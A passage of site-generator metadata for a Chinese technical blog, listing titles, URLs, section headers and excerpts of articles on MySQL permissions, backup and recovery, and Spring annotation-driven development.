冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"第13章:权限管理",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第13章:权限管理"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/mysql/base/2022-09-26-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC13%E7%AB%A0%EF%BC%9A%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86.html"},{name:"twitter:title",content:"第13章:权限管理"},{name:"twitter:url",content:"/md/core/mysql/base/2022-09-26-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC13%E7%AB%A0%EF%BC%9A%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/mysql/base/2022-09-26-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC13%E7%AB%A0%EF%BC%9A%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86.html",relativePath:"md/core/mysql/base/2022-09-26-《MySQL核心知识》第13章:权限管理.md",key:"v-66f8a1f2",path:"/md/core/mysql/base/2022-09-26-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC13%E7%AB%A0%EF%BC%9A%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86.html",headers:[{level:2,title:"权限概述",slug:"权限概述"},{level:2,title:"帐户管理",slug:"帐户管理"},{level:2,title:"用户",slug:"用户"},{level:2,title:"使用GRANT语句创建新用户",slug:"使用grant语句创建新用户"},{level:2,title:"直接操作MYSQL用户表",slug:"直接操作mysql用户表"},{level:2,title:"删除普通用户",slug:"删除普通用户"},{level:2,title:"root用户修改自己的密码",slug:"root用户修改自己的密码"},{level:2,title:"root用户修改普通用户密码",slug:"root用户修改普通用户密码"},{level:2,title:"普通用户修改密码",slug:"普通用户修改密码"},{level:2,title:"root用户密码丢失的解决办法",slug:"root用户密码丢失的解决办法"},{level:2,title:"权限管理",slug:"权限管理"},{level:2,title:"授权",slug:"授权"},{level:2,title:"收回权限",slug:"收回权限"},{level:2,title:"查看权限",slug:"查看权限"},{level:2,title:"查看MYSQL里面匿名用户",slug:"查看mysql里面匿名用户"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第14章:数据备份与恢复",frontmatter:{layout:"post",category:"binghe-code-interview",title:"第14章:数据备份与恢复",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"第14章:数据备份与恢复",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第14章:数据备份与恢复"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/mysql/base/2022-09-28-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC14%E7%AB%A0%EF%BC%9A%E6%95%B0%E6%8D%AE%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D.html"},{name:"twitter:title",content:"第14章:数据备份与恢复"},{name:"twitter:url",content:"/md/core/mysql/base/2022-09-28-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC14%E7%AB%A0%EF%BC%9A%E6%95%B0%E6%8D%AE%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/mysql/base/2022-09-28-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC14%E7%AB%A0%EF%BC%9A%E6%95%B0%E6%8D%AE%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D.html",relativePath:"md/core/mysql/base/2022-09-28-《MySQL核心知识》第14章:数据备份与恢复.md",key:"v-40ebcb16",path:"/md/core/mysql/base/2022-09-28-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC14%E7%AB%A0%EF%BC%9A%E6%95%B0%E6%8D%AE%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8D.html",headers:[{level:2,title:"备份/恢复策略",slug:"备份-恢复策略"},{level:2,title:"冷备份",slug:"冷备份"},{level:3,title:"备份",slug:"备份"},{level:3,title:"恢复",slug:"恢复"},{level:2,title:"逻辑备份",slug:"逻辑备份"},{level:3,title:"备份",slug:"备份-2"},{level:3,title:"恢复",slug:"恢复-2"},{level:2,title:"单个表的备份",slug:"单个表的备份"},{level:3,title:"备份",slug:"备份-3"},{level:3,title:"恢复",slug:"恢复-3"},{level:2,title:"使用备份工具ibbackup",slug:"使用备份工具ibbackup"},{level:2,title:"时间点恢复",slug:"时间点恢复"},{level:2,title:"位置恢复",slug:"位置恢复"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"第15章:自动备份与恢复MySQL数据库并发送Email邮件",frontmatter:{layout:"post",category:"binghe-code-interview",title:"第15章:自动备份与恢复MySQL数据库并发送Email邮件",tagline:"by 冰河",tag:["offer","interview","binghe-code-offer","binghe-code-interview"],excerpt:"第15章:自动备份与恢复MySQL数据库并发送Email邮件",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"第15章:自动备份与恢复MySQL数据库并发送Email邮件"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html"},{name:"twitter:title",content:"第15章:自动备份与恢复MySQL数据库并发送Email邮件"},{name:"twitter:url",content:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html",relativePath:"md/core/mysql/base/2022-10-18-《MySQL核心知识》第15章-自动备份与恢复MySQL数据库并发送Email邮件.md",key:"v-aece93ca",path:"/md/core/mysql/base/2022-10-18-%E3%80%8AMySQL%E6%A0%B8%E5%BF%83%E7%9F%A5%E8%AF%86%E3%80%8B%E7%AC%AC15%E7%AB%A0-%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD%E4%B8%8E%E6%81%A2%E5%A4%8DMySQL%E6%95%B0%E6%8D%AE%E5%BA%93%E5%B9%B6%E5%8F%91%E9%80%81Email%E9%82%AE%E4%BB%B6.html",headers:[{level:2,title:"背景案例",slug:"背景案例"},{level:2,title:"脚本说明",slug:"脚本说明"},{level:2,title:"数据恢复",slug:"数据恢复"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"如何加入星球",slug:"如何加入星球"},{level:2,title:"加群交流",slug:"加群交流"},{level:2,title:"公众号",slug:"公众号"},{level:2,title:"星球",slug:"星球"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于我",frontmatter:{meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于我"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/aop/default.html"},{name:"twitter:title",content:"关于我"},{name:"twitter:url",content:"/md/core/spring/aop/default.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/aop/default.html",relativePath:"md/core/spring/aop/default.md",key:"v-741e9c3d",path:"/md/core/spring/aop/default.html",lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】聊聊Spring注解驱动开发那些事儿!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】聊聊Spring注解驱动开发那些事儿!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"今天,面了一个工作5年的小伙伴,面试结果不理想啊!也不是我说,工作5年了,问多线程的知识:就只知道继承Thread类和实现Runnable接口!问Java集合,竟然说HashMap是线程安全的!问MySQL的MyISAM存储引擎和InnoDB存储引擎的区别,竟然说成是MyISAM存储引擎支持事务,InnoDB不支持!问Spring就只知道IOC和AOP的概念,深一点就不知道了!再问项目。。。哎,算了,不说了!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】聊聊Spring注解驱动开发那些事儿!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html"},{name:"twitter:title",content:"【Spring注解驱动开发】聊聊Spring注解驱动开发那些事儿!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html",relativePath:"md/core/spring/ioc/2022-04-04-001-聊聊Spring注解驱动开发那些事儿.md",key:"v-174a78fe",path:"/md/core/spring/ioc/2022-04-04-001-%E8%81%8A%E8%81%8ASpring%E6%B3%A8%E8%A7%A3%E9%A9%B1%E5%8A%A8%E5%BC%80%E5%8F%91%E9%82%A3%E4%BA%9B%E4%BA%8B%E5%84%BF.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"关于Spring",slug:"关于spring"},{level:2,title:"Spring注解驱动",slug:"spring注解驱动"},{level:2,title:"专栏安排",slug:"专栏安排"},{level:3,title:"容器",slug:"容器"},{level:3,title:"扩展原理",slug:"扩展原理"},{level:3,title:"Web",slug:"web"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解开发】组件注册-使用@Configuration和@Bean给容器中注册组件",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解开发】组件注册-使用@Configuration和@Bean给容器中注册组件",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在之前的Spring版本中,我们只能通过写XML配置文件来定义我们的Bean,XML配置不仅繁琐,而且很容易出错,稍有不慎就会导致编写的应用程序各种报错,排查半天,发现是XML文件配置不对!另外,每个项目编写大量的XML文件来配置Spring,也大大增加了项目维护的复杂度,往往很多个项目的Spring XML文件的配置大部分是相同的,只有很少量的配置不同,这也造成了配置文件上的冗余。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解开发】组件注册-使用@Configuration和@Bean给容器中注册组件"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html"},{name:"twitter:title",content:"【Spring注解开发】组件注册-使用@Configuration和@Bean给容器中注册组件"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html",relativePath:"md/core/spring/ioc/2022-04-04-002-组件注册-使用@Configuration和@Bean给容器中注册组件.md",key:"v-167938cb",path:"/md/core/spring/ioc/2022-04-04-002-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-%E4%BD%BF%E7%94%A8@Configuration%E5%92%8C@Bean%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8C%E7%BB%84%E4%BB%B6.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Spring IOC和DI",slug:"spring-ioc和di"},{level:2,title:"通过XML文件注入JavaBean",slug:"通过xml文件注入javabean"},{level:2,title:"通过注解注入JavaBean",slug:"通过注解注入javabean"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】使用@ComponentScan自动扫描组件并指定扫描规则",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用@ComponentScan自动扫描组件并指定扫描规则",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在实际项目中,我们更多的是使用Spring的包扫描功能对项目中的包进行扫描,凡是在指定的包或子包中的类上标注了@Repository、@Service、@Controller、@Component注解的类都会被扫描到,并将这个类注入到Spring容器中。Spring包扫描功能可以使用XML文件进行配置,也可以直接使用@ComponentScan注解进行设置,使用@ComponentScan注解进行设置比使用XML文件配置要简单的多。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用@ComponentScan自动扫描组件并指定扫描规则"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用@ComponentScan自动扫描组件并指定扫描规则"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html",relativePath:"md/core/spring/ioc/2022-04-04-003-组件注册-@ComponentScan-自动扫描组件&指定扫描规则.md",key:"v-fc5cf2ca",path:"/md/core/spring/ioc/2022-04-04-003-%E7%BB%84%E4%BB%B6%E6%B3%A8%E5%86%8C-@ComponentScan-%E8%87%AA%E5%8A%A8%E6%89%AB%E6%8F%8F%E7%BB%84%E4%BB%B6&%E6%8C%87%E5%AE%9A%E6%89%AB%E6%8F%8F%E8%A7%84%E5%88%99.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"使用XML文件配置包扫描",slug:"使用xml文件配置包扫描"},{level:2,title:"使用注解配置包扫描",slug:"使用注解配置包扫描"},{level:2,title:"关于@ComponentScan注解",slug:"关于-componentscan注解"},{level:3,title:"1.扫描时排除注解标注的类",slug:"_1-扫描时排除注解标注的类"},{level:3,title:"2.扫描时只包含注解标注的类",slug:"_2-扫描时只包含注解标注的类"},{level:3,title:"3.重复注解",slug:"_3-重复注解"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】自定义TypeFilter指定@ComponentScan注解的过滤规则",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】自定义TypeFilter指定@ComponentScan注解的过滤规则",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"Spring的强大之处不仅仅是提供了IOC容器,能够通过过滤规则指定排除和只包含哪些组件,它还能够通过自定义TypeFilter来指定过滤规则。如果Spring内置的过滤规则不能够满足我们的需求,那么我们就可以通过自定义TypeFilter来实现我们自己的过滤规则。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】自定义TypeFilter指定@ComponentScan注解的过滤规则"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html"},{name:"twitter:title",content:"【Spring注解驱动开发】自定义TypeFilter指定@ComponentScan注解的过滤规则"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html",relativePath:"md/core/spring/ioc/2022-04-04-004-自定义TypeFilter指定过滤规则.md",key:"v-0be82a49",path:"/md/core/spring/ioc/2022-04-04-004-%E8%87%AA%E5%AE%9A%E4%B9%89TypeFilter%E6%8C%87%E5%AE%9A%E8%BF%87%E6%BB%A4%E8%A7%84%E5%88%99.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"FilterType中常用的规则",slug:"filtertype中常用的规则"},{level:2,title:"实现自定义过滤规则",slug:"实现自定义过滤规则"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】使用@Lazy注解实现懒加载",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用@Lazy注解实现懒加载",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"Spring在启动时,默认会将单实例bean进行实例化,并加载到Spring容器中。也就是说,单实例bean默认在Spring容器启动的时候创建对象,并将对象加载到Spring容器中。如果我们需要对某个bean进行延迟加载,我们该如何处理呢?此时,就需要使用到@Lazy注解了。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用@Lazy注解实现懒加载"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用@Lazy注解实现懒加载"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html",relativePath:"md/core/spring/ioc/2022-04-04-005-使用@Lazy注解实现懒加载.md",key:"v-408e39be",path:"/md/core/spring/ioc/2022-04-04-005-%E4%BD%BF%E7%94%A8@Lazy%E6%B3%A8%E8%A7%A3%E5%AE%9E%E7%8E%B0%E6%87%92%E5%8A%A0%E8%BD%BD.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"懒加载",slug:"懒加载"},{level:2,title:"非懒加载模式",slug:"非懒加载模式"},{level:2,title:"懒加载模式",slug:"懒加载模式"},{level:2,title:"总结",slug:"总结"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【String注解驱动开发】如何按照条件向Spring容器中注册bean?这次我懂了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】如何按照条件向Spring容器中注册bean?这次我懂了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"当bean是单实例,并且没有设置懒加载时,Spring容器启动时,就会实例化bean,并将bean注册到IOC容器中,以后每次从IOC容器中获取bean时,直接返回IOC容器中的bean,不再创建新的bean。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【String注解驱动开发】如何按照条件向Spring容器中注册bean?这次我懂了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:title",content:"【String注解驱动开发】如何按照条件向Spring容器中注册bean?这次我懂了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",relativePath:"md/core/spring/ioc/2022-04-04-006-如何按照条件向Spring中注册bean.md",key:"v-2b9d067b",path:"/md/core/spring/ioc/2022-04-04-006-%E5%A6%82%E4%BD%95%E6%8C%89%E7%85%A7%E6%9D%A1%E4%BB%B6%E5%90%91Spring%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@Conditional注解概述",slug:"conditional注解概述"},{level:2,title:"向Spring容器注册bean",slug:"向spring容器注册bean"},{level:3,title:"不带条件注册bean",slug:"不带条件注册bean"},{level:3,title:"带条件注册bean",slug:"带条件注册bean"},{level:2,title:"@Conditional的扩展注解",slug:"conditional的扩展注解"},{level:2,title:"@Conditional 与@Profile 的对比",slug:"conditional-与-profile-的对比"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"我们可以将一些bean组件交由Spring管理,并且Spring支持单实例bean和多实例bean。我们自己写的类,可以通过包扫描+标注注解(@Controller、@Servcie、@Repository、@Component)的形式将其注册到IOC容器中,如果不是我们自己写的类,比如,我们在项目中引入了一些第三方的类库,此时,我们需要将这些第三方类库中的类注册到Spring容器中,该怎么办呢?此时,我们就可以使用@Bean和@Import注解将这些类快速的导入Spring容器中。接下来,我们来一起探讨下如何使用@Import注解给容器中快速导入一个组件。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html",relativePath:"md/core/spring/ioc/2022-04-04-007-使用@Import注解给容器中快速导入一个组件.md",key:"v-1dc42540",path:"/md/core/spring/ioc/2022-04-04-007-%E4%BD%BF%E7%94%A8@Import%E6%B3%A8%E8%A7%A3%E7%BB%99%E5%AE%B9%E5%99%A8%E4%B8%AD%E5%BF%AB%E9%80%9F%E5%AF%BC%E5%85%A5%E4%B8%80%E4%B8%AA%E7%BB%84%E4%BB%B6.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"注册bean的方式",slug:"注册bean的方式"},{level:2,title:"@Import注解概述",slug:"import注解概述"},{level:2,title:"@Import注解的使用方式",slug:"import注解的使用方式"},{level:2,title:"@Import导入组件的简单示例",slug:"import导入组件的简单示例"},{level:3,title:"没有使用@Import注解的效果",slug:"没有使用-import注解的效果"},{level:3,title:"使用@Import注解的效果",slug:"使用-import注解的效果"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"【Spring注解驱动开发】深入理解Spring的ImportSelector接口",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】深入理解Spring的ImportSelector接口",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的文章中,我们知道了可以使用ImportSelector接口实现向Spring容器中导入bean,那ImportSelector接口是如何实现的呢,接下来,我们就一探究竟!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"【Spring注解驱动开发】深入理解Spring的ImportSelector接口"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:title",content:"【Spring注解驱动开发】深入理解Spring的ImportSelector接口"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%E5%8F%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-008-%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3Spring%E7%9A%84ImportSelector%E6%8E%A5%